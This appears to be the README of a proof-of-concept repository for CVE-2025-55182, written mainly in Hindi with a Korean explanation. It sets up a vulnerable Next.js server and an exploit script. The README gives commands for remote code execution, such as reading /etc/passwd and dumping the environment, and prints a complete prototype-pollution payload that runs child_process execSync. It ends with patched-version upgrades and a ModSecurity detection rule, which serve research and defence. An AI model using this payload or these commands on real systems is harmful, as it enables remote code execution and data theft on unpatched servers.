CVE-2025-55182/
├── README.md                    # यह फ़ाइल
├── vulnerable-server/           # भेद्य Next.js सर्वर
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # हमला PoC
│   ├── package.json
│   ├── poc.js                   # RCE हमला स्क्रिप्ट
│   └── check-vulnerability.js   # भेद्यता जाँच स्क्रिप्ट
└── React2Shell-CVE-2025-55182-original-poc/  # मूल PoC संदर्भ

# निर्भरताएं स्थापित करें
cd vulnerable-server
npm install

# डेवलपमेंट मोड में सर्वर चलाएं (पोर्ट 3000)
npm run dev

# निर्भरताएं स्थापित करें
cd exploit
npm install

# भेद्यता जांचें
npm run check

# PoC चलाएं (परीक्षण मोड)
npm run exploit

node poc.js -m test

# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

# id कमांड चलाएं
node poc.js -t http://localhost:3000 -m rce -c "id"

# फ़ाइल पढ़ें
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# सिस्टम जानकारी
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

node poc.js -t http://localhost:3000 -m env

node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

requireModule 함수가 클라이언트가 전송한 속성명을 검증 없이 신뢰
→ moduleExports[metadata[NAME]] 실행 시 hasOwnProperty 검사 없음
→ 프로토타입 체인 조작 가능 (Server-Side Prototype Pollution)
→ Function 생성자 획득 → RCE

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

# 15.0.x उपयोगकर्ता
npm install [email protected]

# 15.1.x उपयोगकर्ता
npm install [email protected]

# 15.2.x उपयोगकर्ता
npm install [email protected]

npm install [email protected]
npm install [email protected]
npm install [email protected]

# संदिग्ध Flight पेलोड का पता लगाना
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"